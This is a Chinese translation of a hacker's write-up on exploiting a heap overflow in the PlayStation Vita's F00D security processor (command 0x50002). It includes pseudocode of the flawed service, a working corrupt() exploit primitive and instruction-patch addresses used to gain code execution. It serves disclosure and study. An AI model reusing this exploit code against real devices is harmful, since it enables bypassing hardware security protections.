首个F00D处理器漏洞利用技术解析

本文详细分析了PlayStation Vita中F00D安全处理器的首个漏洞利用技术,重点介绍了0x50002命令中的堆溢出漏洞原理、利用方法以及如何通过内存破坏实现在该专用处理器上的代码执行。

首个F00D漏洞利用

本文最初写于2019年1月11日,并于2019年7月29日HENkaku(首个Vita越狱)三周年时发布。它记录了我们在2017年初,就在开创性的"octopus"漏洞利用几天后所做的工作。尽管这项工作已经过时且没有打开任何新的大门,但技术内容可能对特定受众来说很有趣。最初的意图是在其他人独立发现相同漏洞后发布此文章。HENkaku wiki上有许多明显的提示表明0x50002服务存在缺陷,但我低估了人们对于破解一个对只想运行自制软件或玩盗版游戏的人最终毫无用处的异质处理器的兴趣(或技能)。

PlayStation Vita搭载了一个定制设计的芯片,其中包含一个运行异质指令集(Toshiba MeP)的安全处理器。我们将此处理器命名为F00D,并详细讨论了如何将其转储。然而,转储私有内存还不够。我们需要代码执行,为此我们需要找到内存破坏漏洞。得益于我们从octopus漏洞利用中获得的转储以及IDA插件的分析,我们拥有了深入研究代码并寻找漏洞所需的所有工具。

有缺陷的服务

早在octopus之前,我们就在update_service_sm.self中发现了命令0x50002的一个漏洞。此命令的细节并不重要,但本质上它在引导加载程序被更新程序刷写之前执行其基于每台主机的加密。为此,该命令接收一个内存范围列表,对应于要加密的缓冲区(对于敏锐的人来说,这与octopus漏洞利用中讨论的列表格式相同,并且这样做是因为F00D本身不支持虚拟内存寻址)。该漏洞允许我们指向F00D私有内存中的指针,但不允许我们直接执行任何操作。换句话说,我们拥有二级指针,其中第二级可以在F00D私有内存中,但第一级不行。不幸的是,我们在这个漏洞上没有取得任何进展,因为它似乎难以利用。但这确实给了我们希望,因为我们看到F00D内部缺少安全检查。

在我们用octopus转储F00D之后,我们首先解密的是update_service_sm.self,并更仔细地查看了0x50002。

Bigmac批处理操作

在深入了解漏洞细节之前,了解F00D如何执行加密操作非常重要。F00D包含一个我们称之为"bigmac"的专用加密硬件加速器。Davee在他关于在bigmac中发现硬件漏洞的文章中谈到了它。使用bigmac的一种方式是批处理操作,其中传入一个操作链表。此链表的格式如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
typedef struct bigmac_op {
  void *src_addr;
  void *dst_addr;
  uint32_t length;
  uint32_t operation; // 例如: 0x2000
  uint32_t keyslot; // 例如: 0x8
  uint32_t iv; // 例如: 0x812d40
  uint32_t field_18; // 例如: 0x0
  struct bigmac_op *next;
} __attribute__((packed)) bigmac_op_t;

这些字段是不言自明的,所有指针都是物理地址(F00D不支持虚拟内存)。src_addr和dst_addr相同是可以接受的。

命令0x50002

命令0x50002被更新程序用于使用基于主机的唯一密钥加密引导加载程序。这是为了保护某些类型的降级攻击,其中攻击者可以写入eMMC以及Syscon,但不能执行任意ARM内核代码。这似乎是一种做作的攻击,而且很可能就是,但索尼的策略似乎总是"先加密,后思考"。然而,此命令的要点与我们并不特别相关。我们只关心它的操作。

该命令接收一个地址+长度对列表(最大条目数:0x1F1),并可以在两种模式下运行。在LV2模式下,该列表被解释为二级指针。每个列表条目指向一个LV1条目(地址+长度对)区域。每个LV1条目指向要加密的任意大小的内存区域。在LV1模式下,该列表直接是LV1条目。拥有LV2模式的原因是索尼不想在一次操作中将加密区域限制在最多0x1F1个。让我们看一下命令输入缓冲区的样子。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
typedef struct {
  void *addr;
  uint32_t length;
} __attribute__((packed)) region_t;

typedef struct {
  uint32_t unused_0[2];
  uint64_t use_lv2_mode; // 如果为1,使用lv2列表
  uint32_t unused_10[3];
  uint32_t list_count; // 必须 < 0x1F1
  uint32_t unused_20[4];
  uint32_t total_count; // 仅在LV1模式下使用
  uint32_t unused_34[1];
  union {
    region_t lv1[0x1F1];
    region_t lv2[0x1F1];
  } list;
} __attribute__((packed)) cmd_0x50002_t;

在LV2模式下,我们设置use_lv2_mode = 1,list_count为LV2条目的总数(最大0x1F1)。然后每个list.lv2条目将指向一个代表LV1条目的region_t数组。total_count未使用。

在LV1模式下,我们设置use_lv2_mode = 0,list_count为LV1条目的总数(最大0x1F1)。然后每个list.lv1条目指向一个要加密的区域。total_count设置为LV1条目的总数(最大0x1F1)。

等等,什么?

你注意到这里有什么奇怪的地方吗?如果你说"为什么LV1条目的总数被存储了两次",那么恭喜你,你找到了第一个漏洞。但我们有点超前了。让我们看看这个命令是如何工作的。它分为三个部分。首先,解析和验证输入参数。接下来,分配一个堆缓冲区来将LV1条目转换为bigmac AES-128-CBC操作。最后,在批处理模式下调用bigmac来加密LV1条目中的所有区域。这是第一部分的伪代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int get_entries(cmd_0x50002_t *args, uint32_t *p_size) {
  if (args->list_count >= 0x1F1) {
    return 0x800F0216;
  }
  if (args->use_lv2_mode == 1) {
    *p_size = 0;
    for (uint32_t i = 0; i < args->list_count; i++) {
      *p_size += (args->list.lv2[i].length) / sizeof(region_t);
      // 注意:p_size回绕未被检查,但此利用路径更难
    }
  } else {
    *p_size = args->total_count;
  }
  return 0;
}

int handle_0x50002(cmd_0x50002_t *args) {
  int ret;
  uint32_t entries;
  char *buf, buf_aligned;
  bigmac_op_t *batch;

  if ((ret = get_entries(args, &entries)) != 0) {
    return ret;
  }

  // sizeof(bigmac_op_t) == 32
  if ((buf = malloc((entries * sizeof(bigmac_op_t)) + 31)) == NULL) {
    return 0x800F020C;
  }
  // 注意:malloc的size参数也可能回绕

  buf_aligned = (buf + 31) & ~31;
  batch = (bigmac_op_t *)buf_aligned;
  if ((ret = create_batch(args, g_iv, batch, entries)) != 0) {
    goto done;
  }

  if ((ret = run_bigmac_batch(batch, entries)) != 0) {
    goto done;
  }

done:
  free(buf);
  return ret;
}

所以我们已经有两个漏洞。在get_entries中,在LV2模式下,*p_size可能回绕,在handle_0x50002中,malloc的参数也可能回绕。我们花了一天时间尝试利用这一点,但结果发现有一条更简单的路径。让我们看一下第二部分,create_batch:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int init_bigmac_batch(bigmac_op_t *batch, uint32_t entries, int mask, int keyslot, const void *iv) {
  if (entries == 0 || (batch & 31) != 0) {
    return 0x800F0016;
  }

  for (uint32_t i = 0; i < entries; i++) {
    batch[i].operation = mask;
    batch[i].keyslot = keyslot;
    batch[i].iv = iv;
    batch[i].field_18 = 0;
    batch[i].next = &batch[i+1];
  }

  batch[entries-1].next = 0xFFFFFFFF; // 表示结束

  return 0;
}

int create_batch(cmd_0x50002_t *args, const void *iv, bigmac_op_t *batch, uint32_t entries) {
  int ret;

  if (args == NULL || batch == NULL || entries == 0) {
    return 0x800F0216;
  }
  
  if ((ret = init_bigmac_batch(batch, entries, 0x2000, 0x8, iv)) != 0) {
    return ret;
  }

  if (args->list_count >= 0x1F1) {
    return 0x800F0216;
  }

  if (args->use_lv2_mode == 1) {
    uint32_t k = 0;
    for (uint32_t i = 0; i < args->list_count; i++) {
      region_t *lv1 = (region_t *)args->list.lv2[i].addr;


      for (uint32_t j = 0; j < args->list.lv2[i].length / sizeof(region_t); j++) {
        batch[k].src_addr = lv1[i].addr;
        batch[k].dst_addr = lv1[i].addr;
        batch[k].length = lv1[i].length;
        k++;
        if (!is_region_whitelisted(lv1[i])) {
          return 0x800F0216;
        }
      }
    }
  } else { // 仅LV1模式
    for (uint32_t i = 0; i < args->list_count; i++) { // args->total_count呢?
      batch[i].src_addr = args->list.lv1[i].addr;
      batch[i].dst_addr = args->list.lv1[i].addr;
      batch[i].length = args->list.lv1[i].length;
      if (!is_region_whitelisted(args->list.lv1[i])) {
        // 注意:当我们利用堆溢出时,实际上会失败白名单检查。然而,这没关系,因为batch[i]在白名单检查之前被写入,并且`free`总是被调用。
        return 0x800F0216;
      }
    }
  }

  return 0;
}

如前所述,更简单的路径是args->total_count在create_batch中从未被使用。让我们回顾一下这意味着什么。在handle_0x50002中,我们malloc一个大小为entries * sizeof(bigmac_op_t)) + 31的缓冲区。entries是从get_entries返回的,在LV1模式下只是args->total_count。然而,在create_batch中,我们使用args->list_count作为迭代器来写入每个条目。这意味着只要args->list_count > args->total_count,我们就有一个堆溢出!现在让我们看看如何利用这一点。

F00D堆

更新服务使用一个非常简单的堆结构。每个堆块包含一个24字节的头部,并且是双向链表的一部分。没有花哨的分配算法。只有两个全局列表:已使用和空闲。块在malloc时被拆分,在free时被合并(如果有相邻的空闲块)。块在malloc和free时从一个列表移动到另一个列表,并且始终按地址顺序排序。这是头部的样子:

1
2
3
4
5
6
7
8
typedef struct heap_hdr {
  void *data; // 指向`next`之后
  uint32_t size;
  uint32_t size_aligned;
  uint32_t padding;
  struct heap_hdr *prev;
  struct heap_hdr *next;
} __attribute__((packed)) heap_hdr_t;

当小程序首次启动时,会留出一个0x4000字节的缓冲区用于堆。已使用列表和空闲列表都为空。

假设我们在仅LV1模式下进行0x50002命令调用,并且args->total_count = 2。这将导致malloc(2*32+31)。由于空闲列表是空的,我们从初始缓冲区获得一个大块。

现在我们将该块分成两部分:堆分配器返回的块和一个添加到空闲列表的空闲块。一个24字节的头部被添加到两个块中,以跟踪块元数据。

我们放大这些块以查看它们的布局。注意,我们有足够的空间容纳两个bigmac_op_t以及一些由对齐保留的额外空间。

现在假设我们设置args->list_count = 4来触发堆溢出。由于args->total_count = 2,我们将开始覆盖一些额外的填充,并最终命中相邻的空闲块并开始覆盖块头部。同样,这是因为create_batch在写入缓冲区时使用args->list_count,而handle_0x50002使用args->total_count来分配缓冲区。

在上面的图中,虚线轮廓代表create_batch写入的两个额外块。第三个块不太有趣,因为它主要覆盖填充空间和一些空闲块元数据。第四个溢出块是我们将用来利用小程序的那个。注意batch[3].length如何覆盖prev指针,batch[3].operation如何覆盖next指针。我们完全控制batch[3].length,因为它来自args->list.lv1[3].length,并且我们部分控制batch[3].operation,因为它总是被设置为0x2000。

现在我们控制了这两个指针,让我们将注意力转向free,它将在释放已使用块后尝试合并这两个块,因为它们将是相邻的空闲块。有类似于以下代码的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
void free(void *buf) {
...
  heap_hdr_t *cur, *adjacent;

  cur = (heap_hdr_t *)cur;
  adjacent = (heap_hdr_t *)(buf + cur->size_aligned);

  // 从已使用列表中移除
  list_unlink(g_heap_used, cur);

  if (is_in_list(g_heap_free, adjacent)) {
    // 从列表中移除相邻块
    adjacent->prev->next = adjacent->next;
    adjacent->next->prev = adjacent->prev;
    // 合并
    cur->aligned_size += adjacent->aligned_size + sizeof(heap_hdr_t);
    cur->size = cur->aligned_size;
    // 添加到空闲列表
    list_link(g_heap_free, cur);
  }
...
}

如果我们关注行adjacent->prev->next = adjacent->next,我们可以看到由于堆溢出,这等同于*(uint32_t )batch[3].size = batch[3].operation。如上所述,我们控制这两个字段,所以实际上,它变成了(uint32_t *)args->list.lv1[3].length = 0x2000。

在这一点上,应该指出东芝MeP处理器有两个特性(或缺乏)使我们的生活更加轻松。首先,无效的内存访问将被忽略。这意味着当我们执行下一行adjacent->next->prev = adjacent->prev并注意到adjacent->next->prev是一个无效指针时,我们仍然没问题。其次,没有内存保护,所以我们可以毫无问题地直接写入可执行内存。考虑到这一点,我们可以像生活在1990年一样获得代码执行。

利用

使用堆溢出,我们可以开发一个原语,通过向其中写入0x2000来破坏任意的F00D内存。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int corrupt(int ctx, uint32_t addr) {
  int ret = 0, sm_ret = 0;
  cmd_0x50002_t args = {0};

  // 构造参数
  args.use_lv2_mode = 0;
  args.list_count = 3;
  args.total_count = 1;
  // 我们在示例中使用了4个块来说明工作原理
  // 但实际上3个块就足以触发漏洞

  // 前两个有效条目以通过白名单检查
  // 我们使它们为任意有效值
  args.list.lv1[0].addr = 0x50000000;
  args.list.lv1[0].length = 0x10;
  args.list.lv1[1].addr = 0x50000000;
  args.list.lv1[1].length = 0x10;
  // 这里是我们的溢出条目,它检查失败但没关系
  // 因为空闲块头部被覆盖并且即使有错误也会调用free,因为这是最后一个条目
  args.list.lv1[2].addr = 0;
  args.list.lv1[2].length = addr - offsetof(heap_hdr_t, next);

  ret = sceSblSmCommCallFunc(ctx, 0x50002, &sm_ret, &args, sizeof(args));
  if (sm_ret < 0) {
    return sm_ret;
  }
  return ret;
}

0x2000在MeP汇编中变成bsetm ($0),0x0,它执行位设置。然而,这并不重要,因为我们可以有效地将其视为NOP,并用此指令替换任意指令以绕过检查。接下来,我们通过获取小程序中现有的命令处理程序并将其中的指令nop掉,直到它表现得像memcpy一样,从而"编写"了我们自己的memcpy。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// 1.692的偏移量,覆盖cmd 0x60002
corrupt(ctx, 0x0080B904);
corrupt(ctx, 0x0080B938);
corrupt(ctx, 0x0080B948);
corrupt(ctx, 0x0080B94C);
corrupt(ctx, 0x0080B950);
corrupt(ctx, 0x0080B958);
corrupt(ctx, 0x0080B95C);
corrupt(ctx, 0x0080B914);
corrupt(ctx, 0x0080B918);

最后,我们需要通过调用一些随机命令来触发icache刷新(使其获取新指令并驱逐旧缓存条目)。然后我们可以将我们的F00D代码memcpy进去并运行它!总的来说,这是一个简单的漏洞,并且没有利用缓解措施。然而,如果盲目地寻找这个漏洞并利用它会困难得多。F00D中的大部分安全性来自于它具有小的攻击面,以及接口和软件都是专有的这一事实。然而,一旦你查看代码,攻击它就变得不那么令人生畏了。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计